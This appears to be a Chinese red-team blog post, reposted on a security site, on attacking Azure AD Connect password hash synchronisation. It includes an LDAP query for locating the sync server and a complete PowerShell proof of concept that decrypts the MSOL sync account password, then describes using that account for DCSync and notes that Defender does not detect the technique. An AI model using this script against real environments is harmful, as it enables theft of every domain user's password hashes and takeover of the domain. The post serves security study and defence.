【域渗透】混合域环境中的密码哈希同步攻击(PHS)

admin 2025年5月14日15:42:33评论4 views字数 4852阅读16分10秒阅读模式

【域渗透】混合域环境中的密码哈希同步攻击(PHS)密码哈希同步(PHS)攻击是针对 Azure Active Directory Connect 的网络攻击,Azure Active Directory Connect 是一种将本地 Active Directory (AD) 身份与 Azure Active Directory 同步的 Microsoft 工具

【域渗透】混合域环境中的密码哈希同步攻击(PHS)Azure AD  Connect 简介

随着企业越来越多地采用本地应用程序和云应用程序相结合的模式,对统一身份解决方案的需求日益增长微软的混合身份解决方案旨在为所有资源(无论其位于何处)的身份验证和授权创建一个通用的用户身份。
Azure AD Connect (现在被称为 Entra ID)在此背景下应运而生,成为连接本地 Active Directory (AD) 与云端 Microsoft Entra ID (Azure AD) 的关键桥梁。
【域渗透】混合域环境中的密码哈希同步攻击(PHS)
Azure AD Connect 的主要功能包括:
  • 同步 (Synchronization): 负责创建用户、组和其他对象,并确保本地用户和组的身 份信息与云端保持一致。此同步过程还包括密码哈希。 
  • 密码哈希同步 (Password Hash Synchronization, PHS): 一种登录方法,将用户本 地 AD 密码的哈希值与 Microsoft Entra ID 同步。 
  • 直通身份验证 (Pass-Through Authentication, PTA): 允许用户使用相同的密码登 录本地和云应用程序,密码验证直接针对本地 AD 进行。
  • 联合身份验证集成 (Federation Integration, AD FS): Azure AD Connect 的一个可 选部分,可用于通过本地 AD FS 基础架构配置混合环境。它还提供 AD FS 管理功能, 例如证书续订和额外的 AD FS 服务器部署。 
  • 运行状况监控 (Azure AD Connect Health): 提供与同步相关的性能指标和状态监控 ,例如同步错误、同步状态和使用情况监控。
这种集成使用户能够使用单一身份访问本地和云资源,从而提高生产力 。
然而,这种便利的背后,是将身份同步和认证过程集中化的趋势,如果安全措施不足,这种集中化反而可能形成一个高价值的单一故障点。
攻击者一旦攻破此关键节点,便可能对整个混合身份基础设施造成灾难性影响。

【域渗透】混合域环境中的密码哈希同步攻击(PHS)Azure AD Connect 中的关键账户

Azure AD Connect 快速安装过程将在本地 AD 和 Azure AD 中创建多个帐户。这些账户很容易成为攻击者提供深入利用混合身份环境的跳板。

  • AD DS 连接器帐户

此账户通常命名为 MSOL_<随机字符>。由 Azure AD Connect 用于读取和写入本地 Active Directory 的信息,拥有复制目录更改、修改密码、修改用户等权限。

  • Azure AD 连接器帐户

此账户也被称为Entra ID同步账户,通常命名为 Sync_[ServerName]_,

此账户权限较高,通常是“目录同步账户”角色的成员,甚至可能是“混合身份管理员”。

【域渗透】混合域环境中的密码哈希同步攻击(PHS)利用密码哈希同步(PHS)攻击AD

下图来自 Microsoft 文档,概述了 PHS 工作流程:
【域渗透】混合域环境中的密码哈希同步攻击(PHS)

如前所述,Azure AD Connect 会自动创建两个同步帐户:

  • Active Directory 中的 MSOL_deeb213ff4bb 

  • Azure AD 中的 Sync_SYNC01_deeb213ff4bb 

在这个示例中,SYNC01 是安装了 Azure AD Connect 的本地服务器的主机名, deeb213ff4bb 是一个 ID,它会根据每个环境而变化。

为了执行同步,两个帐户需要在两个环境中都拥有高权限 。由于帐户负责将用户密码哈希发送到云端, 因此该用户拥有该域的复制权限 。

【域渗透】混合域环境中的密码哈希同步攻击(PHS)

该帐户能够复制所有域用户的哈希值,这使得它成为混合域环境中的高价值目标。

如何获取到它们的密码?

第一步是找到安装了 Azure AD Connect 的服务器。微软通过将同步服务器名称和相应的 Azure AD 租户添加到 MSOL 用户的 LDAP 描述中,简化了我们的任务。域中任何经过身份验证的用户都可以查询它,如下所示:

$ ldapsearch -H ldap://DC01.GOTHAM.LAB:389 -D "GOTHAMjoker" -w "****" -b "DC=GOTHAM,DC=LAB" '(description=*Azure*)' description[...]# MSOL_deeb213ff4bb, Users, gotham.labdn: CN=MSOL_deeb213ff4bb,CN=Users,DC=gotham,DC=labdescription: Account created by Microsoft Azure Active Directory Connect with installation identifier deeb213ff4bb47019f657e127eadecea running on computer SYNC01 configured to synchronize to tenant gothamlab.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.

识别服务器后,我们需要一个本地管理员帐户或 ADSync 服务帐户,以便与 Azure AD Connect 数据库交互。

实际上,此数据库存储了 MSOL 帐户密码的加密版本,可以使用

C:Program FilesMicrosoft Azure AD SyncBinnmcrypt.dll 和 

NT SERVICEADSync DPAPI 密钥解密。

NT SERVICEADSync 是一个虚拟帐户,因此不需要任何密码管理。但是,虚拟帐户拥有 DPAPI 密钥,允许它们使用凭据管理器。

这个主题比较复杂,感兴趣的读者可以自行阅读这篇文章,其中深入探讨了 DPAPI 的工作原理:https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/ 

同时,Adam Chester在他的博客文章(https://blog.xpnsec.com/azuread-connect-for-redteam/)中深入解释了整个攻击过程,并提供了解密此密码的 POC

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb).ADSync;Initial Catalog=ADSync"$client.Open()$cmd = $client.CreateCommand()$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"$reader = $cmd.ExecuteReader()$reader.Read() | Out-Null$key_id = $reader.GetInt32(0)$instance_id = $reader.GetGuid(1)$entropy = $reader.GetGuid(2)$reader.Close()$cmd = $client.CreateCommand()$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"$reader = $cmd.ExecuteReader()$reader.Read() | Out-Null$config = $reader.GetString(0)$crypted = $reader.GetString(1)$reader.Close()add-type -path 'C:Program FilesMicrosoft Azure AD SyncBinmcrypt.dll'$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager$km.LoadKeySet($entropy$instance_id$key_id)$key = $null$km.GetActiveCredentialKey([ref]$key)$key2 = $null$km.GetKey(1, [ref]$key2)$decrypted = $null$key2.DecryptBase64ToString($crypted, [ref]$decrypted)$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}Write-Host ("Domain: " + $domain.Domain)Write-Host ("Username: " + $username.Username)Write-Host ("Password: " + $password.Password)

在如下用于演示的 LAB 环境中,使用了 GOTHAMbruce.wayne 帐户,该帐户是所有服务器的本地管理员:

【域渗透】混合域环境中的密码哈希同步攻击(PHS)

Azure AD Connect 的默认配置使用 SQL Server Express 数据库,但也可以使用完全部署的 SQL Server。在这种情况下,必须将 POC 中的连接字符串替换为以下内容:

"Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

有一个工具是 adconnectdump ,它允许通过网络转储这些凭据。

这种技术相当隐蔽,在最新的 Windows Defender中 ,它也无法将其识别为恶意行为。如果在服务器上拥有本地管理员帐户,则还可以在 lsass.exe 进程的内存中检索 MSOL 密码。

但是,这种操作在面对经验丰富的蓝队会显得非常可疑,他们很容易观察到这些异常行为。例如,使用 mimikatz 从 lsass 内存中提取 MSOL 密码:

【域渗透】混合域环境中的密码哈希同步攻击(PHS)

使用新获得的 MSOL 帐户,现在可以执行DCSync 并复制所有域用户的密码哈希:

【域渗透】混合域环境中的密码哈希同步攻击(PHS)

注意这个帐户在云AD中也是有效的,并且具有很高的特权。

此场景是在混合域中通往域管理员的一条值得注意的途径,因为 Azure AD 同步服务器通常比域控制器的保护更少,因此,在红队行动中应该更容易成为这些服务器的管理员。

【域渗透】混合域环境中的密码哈希同步攻击(PHS)

【域渗透】混合域环境中的密码哈希同步攻击(PHS)

【域渗透】混合域环境中的密码哈希同步攻击(PHS)【域渗透】混合域环境中的密码哈希同步攻击(PHS)

原文始发于微信公众号(WH0secLab):【域渗透】混合域环境中的密码哈希同步攻击(PHS)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月14日15:42:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【域渗透】混合域环境中的密码哈希同步攻击(PHS)http://cn-sec.com/archives/4062255.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息